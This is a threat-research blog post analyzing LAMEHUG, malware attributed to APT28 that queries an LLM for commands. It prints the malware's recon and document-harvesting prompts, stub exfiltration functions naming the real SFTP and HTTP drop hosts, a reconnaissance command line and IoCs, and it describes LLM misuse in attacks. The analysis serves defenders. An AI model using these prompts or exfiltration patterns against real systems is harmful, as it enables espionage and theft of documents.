# Cato CTRL™ Threat Research: Analyzing LAMEHUG – First Known LLM-Powered Malware with Links to APT28 (Fancy Bear)

By null

Published: 2025-07-23 · Archived: 2026-04-05 17:40:30 UTC

## Executive Summary

On July 17, 2025, Ukraine's Computer Emergency Response Team (CERT-UA) publicly reported LAMEHUG, which is being documented as the first known malware that integrates large language model (LLM) capabilities directly into its attack methodology.

**Key Facts:**

- **Discovery Date**: July 10, 2025
- **Attribution**: APT28 (Fancy Bear) with moderate confidence, according to CERT-UA.
- **Target**: Ukrainian government officials.
- **Attack Vector:** Phishing emails impersonating Ukrainian ministry officials and containing ZIP archives with PyInstaller-compiled Python executables.
- **Technical Innovation**: Malware uses LLM Qwen2.5-Coder-32B-Instruct for real-time command generation. Our analysis is that APT28 used approximately 270 Hugging Face tokens for authentication.
- **Assessment**: Proof-of-concept (PoC) exploration of LLM integration in state-sponsored cyber operations.

## Technical Overview

### Initial Discovery and Distribution

The LAMEHUG campaign began when CERT-UA received reports about suspicious email distribution among Ukrainian government officials. The emails appeared to be sent from representatives of relevant ministries, containing an attachment named "Додаток.pdf.zip" (Attachment.pdf.zip).

### LLM Integration

LAMEHUG's defining characteristic is its integration of AI for dynamic attack generation. According to CERT-UA's alert, the malware "uses the LLM Qwen2.5-Coder-32B-Instruct via the huggingface[.]co service API to generate commands based on statically entered text (description) for their subsequent execution on a computer."

### LAMEHUG Variants

The ZIP archive contained an executable file with a ".pif" extension, which was converted from Python source code using PyInstaller. CERT-UA discovered multiple variants of the LAMEHUG malware:

- Додаток.pif (Attachment.pif)
  - save_document.py
- AI_generator_uncensored_Canvas_PRO_v0.9.exe
- AI_image_generator_v0.95.exe
  - image.py

These variants demonstrated functional differences in data exfiltration methods, indicating ongoing development and adaptation of the malware family.

**Reverse Engineering: The Actual Prompts**

Our analysis of the malware samples revealed the exact prompts being sent to the LLM. The malware uses base64-encoded prompts to obscure its intentions.

*Figure 1. Додаток.pif.pdf (Attachment.pif.pdf) that the user sees while the malware is being executed*

**Prompt Analysis of Додаток.pif Variant**


*Figure 2. Додаток.pif prompts that are being sent to the Qwen2.5-Coder-32B-Instruct model (example #1)*


*Figure 3. Додаток.pif prompts that are being sent to the Qwen2.5-Coder-32B-Instruct model (example #2)*

*Figure 4. Додаток.pif prompts that are being sent to the Qwen2.5-Coder-32B-Instruct model (example #3)*

The Додаток.pif variant uses two specific prompts:

1. **System Information Gathering Prompt:** “Make a list of commands to create folder C:\Programdata\info and to gather computer information, hardware information, process and services information, networks information, AD domain information, to execute in one line and add each result to text file c:\Programdata\info\info.txt. Return only commands, without markdown.”
2. **Document Harvesting Prompt:** “Make a list of commands to copy recursively different office and pdf/txt documents in user Documents, Downloads and Desktop folders to a folder c:\Programdata\info\ to execute in one line. Return only command, without markdown.”

**Prompt Analysis of AI Image Generator Variants**

*Figure 5. image.py prompts that are being sent to the Qwen2.5-Coder-32B-Instruct model*

The AI image generator variants (AI_generator_uncensored_Canvas_PRO_v0.9.exe and AI_image_generator_v0.95.exe) use a provocative image generation prompt as a lure:

“Curvy naked woman sitting, long beautiful legs, front view, full body view, visible face.”

These variants contact the Flux AI image generator API (https://router.huggingface.co/nebius/v1/images/generations) while simultaneously executing the same data collection and exfiltration routines in the background.

### Malware Operation Flow

Based on our analysis, LAMEHUG operates through the following process:

1. **Prompt Generation**: The malware contains pre-defined, base64-encoded text descriptions of desired attack objectives.
2. **API Communication**: The malware sends these prompts to the Qwen2.5-Coder-32B-Instruct model via Hugging Face’s API using approximately 270 tokens for authentication.
3. **Command Generation**: The LLM responds with executable command sequences tailored to the requested objective.
4. **Real-Time Execution**: The malware immediately executes the AI-generated commands on the target system.

### Exfiltration Methods

The malware implements two different exfiltration methods depending on the variant.

**SFTP Exfiltration (image.py variant)**

```
def ssh_send(path):

   address = '144[.]126[.]202[.]227'

   port = 22

   username = 'upstage'

   password = 'upstage'

   target_path = '/tmp/upl/'

   # [SFTP upload logic]
```

**HTTP POST Exfiltration (Додаток.pif variant)**

```
def send(path):

   url = 'https[:]//stayathomeclasses[.]com/slpw/up[.]php'

   # [HTTP POST upload logic]
```

### LLM-Generated Command Analysis

CERT-UA documented the actual command sequence generated by the LLM integration, demonstrating the sophisticated reconnaissance capabilities achieved through dynamic AI generation.

```
cmd.exe /c "mkdir %PROGRAMDATA%\info && systeminfo >> %PROGRAMDATA%\info\info.txt && wmic computersystem get name,manufac
```

This comprehensive command sequence demonstrates the LLM’s ability to generate extensive system reconnaissance commands that collect:

- **Hardware and System Information:** wmic, systeminfo
- **Running Processes and Services:** tasklist, net start
- **Network Configuration Details:** ipconfig, wmic nic

- **User and Group Information:** whoami, dsquery
- **Complete Active Directory (AD) Structure Enumeration:** full use of dsquery

### Attribution Assessment: APT28 Testing New Capabilities

CERT-UA attributes the LAMEHUG campaign to APT28 (Fancy Bear) with moderate confidence. APT28 is associated with Russia's Main Intelligence Directorate (GRU) Unit 26165.

**Why This Appears to Be PoC Testing**

Based on our analysis of the actual malware code and operational characteristics, several factors suggest APT28 is testing new LLM capabilities rather than executing a sophisticated operational deployment:

1. **Code Simplicity**: The Python scripts are relatively basic, lacking the sophisticated evasion techniques typically associated with APT28 operations.
2. **Obvious AI Integration**: The LLM integration is implemented straightforwardly without attempts to obfuscate or hide the AI service usage.
3. **Limited Operational Security**: The use of easily identifiable prompts and legitimate AI services without advanced masking techniques.
4. **Testing Ground**: Ukraine has historically served as a testing ground for Russian cyber capabilities, making it an ideal location for PoC deployments.
5. **Multiple Variants**: The presence of different variants with varying exfiltration methods suggests experimentation with various approaches.

**Detection Challenges for Traditional Security Solutions**

LAMEHUG introduces fundamental challenges for traditional cybersecurity approaches:

- **Signature-based detection fails** due to dynamic command generation.
- **Network traffic appears legitimate** (AI API usage).
- **Behavioral analysis requires new methodologies** specific to LLM-powered threats.

2025 Cato CTRL™ Threat Report | Download the report

## Security Best Practices

### Shadow AI (Visibility and Control)

The most critical protection against LAMEHUG-style threats is controlling AI access:

- **Enforce Approved LLMs Only**: Define which generative AI (GenAI) applications users can access and exactly what actions are allowed (upload, download, etc.).
- **Real-Time Data Protection**: Limit or prevent sensitive data from being uploaded to LLMs, avoiding data security and confidentiality violations in real-time.
- **Comprehensive Visibility**: Monitor all GenAI usage across the organization with a catalog of 950+ GenAI applications from Cato CASB.

### Network-Level Protection

- **ML-Powered Malware Detection**: Cato NGAM uses ML algorithms to detect zero-day and polymorphic malware.
- **DNS Security**: DNS protection integrated into Cato IPS analyzes DNS queries and responses to block malicious domains.
- **Application Control**: Monitor and control access to cloud services and APIs, with specific focus on AI platforms.

### Extended Detection and Response

With Cato XDR, organizations can enable:

- **AI/ML Threat Hunting**: Continuous ML-based threat hunting and UEBA baseline for every user, host, and app—detecting stealthy malware or anomalous behavior that bypasses preventive controls.

- **Smart Investigation:** Automatic incident correlation with dynamic risk scoring, displayed in a pivot-enabled analyst workbench for quick deep dives from high-level “Story” to raw flows and logs.
- **One-Click Response:** Built-in remediation enables security analysts to quarantine hosts, deploy new SDP/firewall rules, or trigger endpoint actions instantly—all from a single console.

#### Lateral Movement Protection

- **Lateral Movement**: Cato IPS provides detection, discovery and blocking of lateral movement patterns and indicators, preventing malware propagation across the WAN.

#### Zero Trust Network Access

- **Microsegmentation**: Cato Universal ZTNA allows organizations to segment their networks into smaller parts with software-defined security perimeters that limit lateral movement.

## Conclusion

The discovery of LAMEHUG by CERT-UA marks a significant milestone in the threat landscape. While this campaign appears to be a PoC test by APT28 (Fancy Bear), it signals the beginning of a new era where AI is directly incorporated into malware operations. The campaign highlights state-sponsored investment in emerging AI technologies for cyber activities, with Ukraine serving as the testing ground for these new capabilities. The relatively simple implementation suggests this is APT28’s attempt at learning how to weaponize LLMs, likely opening the door for more sophisticated AI-driven campaigns in the future.

Organizations that leverage a SASE platform, such as the Cato SASE Cloud Platform, are better positioned to defend against emerging AI-powered threats through integrated security controls, behavioral analysis, and advanced threat prevention capabilities. As threat actors continue to evolve their tactics to include AI technologies, AI security solutions must evolve to provide AI-aware protection mechanisms.

## Indicators of Compromise (IoCs)

#### File Indicators

| MD5 | SHA256 | Filename |
|---|---|---|
| abe531e9f1e642c47260fac40dc41f59 | 766c356d6a4b00078a0293460c5967764fcd788da8c1cd1df708695f3a15b777 | Додаток[.]pif |
| 3ca2eaf204611f3314d802c8b794ae2c | d6af1c9f5ce407e53ec73c8e7187ed804fb4f80cf8dbd6722fc69e15e135db2e | AI_generator_uncensored_C |
| f72c45b658911ad6f5202de55ba6ed5c | bdb33bbb4ea11884b15f67e5c974136e6294aa87459cdc276ac2eea85b1deaa3 | AI_image_generator_v0.95[. |
| 81cd20319c8f0b2ce499f9253ce0a6a8 | 384e8f3d300205546fb8c9b9224011b3b3cb71adc994180ff55e1e6416f65715 | Image[.]py |

#### Network Infrastructure

Command and Control:

- 144[.]126.202.227 (SFTP server for data exfiltration)
- stayathomeclasses[.]com (compromised hosting resource)
- https://stayathomeclasses[.]com/slpw/up.php (exfiltration endpoint)

Distribution:

- boroda70@meta[.]ua (compromised email account)
- 192[.]36.27.37 (email sending infrastructure via LeVPN)

LLM API Endpoints:

- https[:]//router[.]huggingface.co/hyperbolic/v1/chat/completions
- https[:]//router[.]huggingface.co/nebius/v1/images/generations

#### Host-Based Artifacts

- %PROGRAMDATA%\info\ (data staging directory)
- %PROGRAMDATA%\info\info.txt (system information collection file)
- %PROGRAMDATA%\Додаток.pdf (decoy document)

---